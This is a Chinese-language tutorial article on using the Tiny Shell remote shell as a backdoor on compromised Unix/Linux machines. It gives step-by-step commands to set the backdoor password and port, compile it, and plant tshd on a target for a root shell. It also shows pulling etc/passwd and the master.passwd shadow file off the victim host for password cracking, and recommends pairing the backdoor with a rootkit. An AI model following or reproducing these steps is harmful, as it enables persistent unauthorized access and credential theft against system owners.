時間:2012-09-06 08:36:11 作者:不思議游戲 瀏覽量:348
Tiny Shell是一款輕量級的標(biāo)準(zhǔn)遠(yuǎn)程Shell工具,可以提供遠(yuǎn)程執(zhí)行命令(包括:Rlogin,Telnet,Ssh等)和文件傳輸功能(上傳、下載),支持單字節(jié),完全支持pseudo-Terminal Pairs(pty/tty)等偽終端。
一,前言
隨著互聯(lián)網(wǎng)的發(fā)展,使用Unix/Linux系統(tǒng)的越來越多,而入侵一臺Unix/Linux系統(tǒng)也不再是什么難事了。通常,在入侵成功之后,都會留一個或幾個后門,以便再次進(jìn)入;對于Unix/Linux系統(tǒng),后門的種類比較多,初級的有修改“.rhosts”文件,復(fù)制一個Shell到一個隱藏目錄,修改etc/passwd文件加用戶等手段。較高級的莫屬使用內(nèi)核模塊后門(Rootkit)了,它是Unix/Linux系統(tǒng)下最高級別的后門,也許最具有隱蔽性的,但今天我并不說Rootkit,因?yàn)樗氖褂眠^于復(fù)雜,對沒有Unix/Linux系統(tǒng)使用經(jīng)驗(yàn)的人來說,更是難以駕御。而Tiny Shell作為一款運(yùn)行于Unix/Linux系統(tǒng)下的輕量級Shell工具,不僅小巧,還支持另外一些不錯的功能,具體請看下文。
二,應(yīng)用
1,Tiny Shell簡介 Tiny Shell是一款輕量級的標(biāo)準(zhǔn)遠(yuǎn)程Shell工具,可以提供遠(yuǎn)程執(zhí)行命令(包括:Rlogin,Telnet,Ssh等)和文件傳輸功能(上傳、下載),支持單字節(jié),完全支持pseudo-Terminal Pairs(pty/tty)等偽終端。并使用強(qiáng)大的160-bit RC4加密,以躲避嗅探器的檢測具備AES-128 + HMAC-SHA1的強(qiáng)大加密和認(rèn)證。支持FreeBSD,NetBSD, OpenBSD,Solaris、SunOS,HP-UX,IRIX,Cygwin,Linux等系統(tǒng)。
2,Tiny Shell應(yīng)用 測試環(huán)境: 本地:OpenBSD 3.4 IP:192.168.0.40 目標(biāo):FreeBSD 4.9 STABLE IP:192.168.0.20 首先下載Tiny Shell,解壓縮后修改源代碼,以求該工具更能符合我們的要求。 #fetch #tar zxvf tsh-0.6.tgz #cd tsh-0.6 #ls ChangeLog README aes.h pel.h sha1.h tsh.h Makefile aes.c pel.c sha1.c tsh.c tshd.c #vi tsh.h char *secret = "replace with your passWord"; //連接后門的密碼,我修改為dahubaobao。這個后門的主程序是tsh.c,先看看下邊的源代碼 if( passWord == NULL ) { /* 1st try, using the built-in secret key */ ret = pel_client_init( server, secret ); if( ret != PEL_SUCCESS ) { close( server ); /* secret key invalid, so ask for a passWord */ password = getpass( "Password: " ); goto connect; } } //重點(diǎn)在這里:ret = pel_client_init( server, secret ); 把secret變量作為了參數(shù),也就是連接后門所需要的密碼。現(xiàn)在知道為什么修改tsh.h了吧。 #define SERVER_PORT 7586 //后門簡聽的端口,任意修改 if( argc == 5 && ! strcmp( argv[2], "get" ) ) { action = GET_FILE; } if( argc == 5 && ! strcmp( argv[2], "put" ) ) { action = PUT_FILE; } //該后門并沒有幫助信息,所以查看這里得知Get為下載,Put為上傳。當(dāng)然,如果你喜歡,可以自行修改。另外,如果你想該后門輸出幫助信息,可以自己添加一個Printf語句來輸出幫助信息。這里給出一個最簡單的方法,我們在不加參數(shù)的情況下執(zhí)行./tsh的時候,會提示gethostbyname failed.,然后查看源代碼,找到fprintf( stderr, "gethostbyname failed.\n" );這句代碼,聰明的你也許想到了,就是修改gethostbyname failed.為你想要的幫助信息,這樣,在執(zhí)行./tsh的時候,就會自動輸出幫助信息了。呵呵,也算一種變相修改吧。下面開始編譯源代碼。 #make Please specify one of these targets: make linux make freebsd make openbsd make netbsd make cygwin make sunos make irix make hpux make osf #make openbsd //根據(jù)你的系統(tǒng)做相應(yīng)的選擇,10秒鐘就編譯好了(如圖1)。 然后,會在當(dāng)前目錄下生成兩個可執(zhí)行文件,一個客戶端,一個服務(wù)端,分別為:tsh,tshd,F(xiàn)在將tshd復(fù)制到目標(biāo)系統(tǒng)(FreeBSD),然后執(zhí)行./tshd完成安裝。為了更清楚的表示我使用的環(huán)境,所以回到本地執(zhí)行id命令,得知該用戶的UID=1000,是普通用戶;現(xiàn)在使用./tsh 192.168.0.20來接連目標(biāo)主機(jī)(為了測試方便,我就不加密碼了),好,現(xiàn)在我們獲得了一個Root權(quán)限的Shell,再使用id命令(注意,這是在目標(biāo)主機(jī)上),可以看到UID=0了,這可是Root權(quán)限哦!執(zhí)行uname –a命令,回顯為FreeBSD系統(tǒng),可見已經(jīng)成功連接后門并登陸了(如圖2)。另外,該后門還可以在連接的時候插入Shell命令,語法為./tsh 192.168.0.20 “command”,比如./tsh 192.168.0.20 “cat etc/passwd”,這條命令的意思是連接192.168.0.20目標(biāo)主機(jī),接著執(zhí)行cat etc/passwd命令,這樣,目標(biāo)主機(jī)的passwd文件我們就一覽無余了(如圖3)。但要注意,使用這種形式并沒有登陸目標(biāo)主機(jī),只是連接目標(biāo)主機(jī),然后插入一個Shell命令而已。 現(xiàn)在我們來看看上傳、下載的使用方法。從源代碼中知道,上傳的關(guān)鍵字為Put,下載的關(guān)鍵字為Get。好,先來看看如何上傳文件,執(zhí)行“./tsh 192.168.0.20 put 文件名 目標(biāo)主機(jī)目錄”即可完成上傳,但要注意,文件要在當(dāng)前目錄下,也就是和tsh在同一個目錄下。我上傳的一個back的二進(jìn)制文件,使用./tsh 192.168.0.20 put back /,這條命令是將back文件上傳目標(biāo)根目錄,然后我再使用./tsh 192.168.0.20連接到目標(biāo)主機(jī),ls查看back是否已經(jīng)上傳到了對方主機(jī)(如圖4),呵呵,還不錯吧!在來看下載文件,它的語法為“./tsh 192.168.0.20 get 目標(biāo)文件 本地目錄”,現(xiàn)在我們來獲得其最敏感的文件----master.passwd(影子文件,也就是Linux系統(tǒng)下的shadow文件)。執(zhí)行./tsh 192.168.0.20 get etc/master.passwd /home/dahubaobao,意思為下載目標(biāo)主機(jī)的master.passwd文件到本地的/home/dahubaobao目錄,然后使用ls查看,可以看見已經(jīng)將對方的master.passwd下載到了本地(如圖5),再vi master.passwd(如圖6),哈哈,用戶的加密密碼近在眼前。提示,F(xiàn)reeBSD的用戶密碼是采用MD5加密的。
三、小結(jié)
Tiny Shell作為一款小型的Shell工具,絲毫不遜于其他同類的Shell工具,而且支持大部分的Unix/Linux系統(tǒng),絕對值得一試。當(dāng)然,這款后門很不隱蔽,我們可以結(jié)合Rootkit來加固(Rootkit中也提供Shell工具,但無法和Tiny Shell相比,不信你可以自己試試),Rootkit的使用可以去google找答案,在此就不多說了。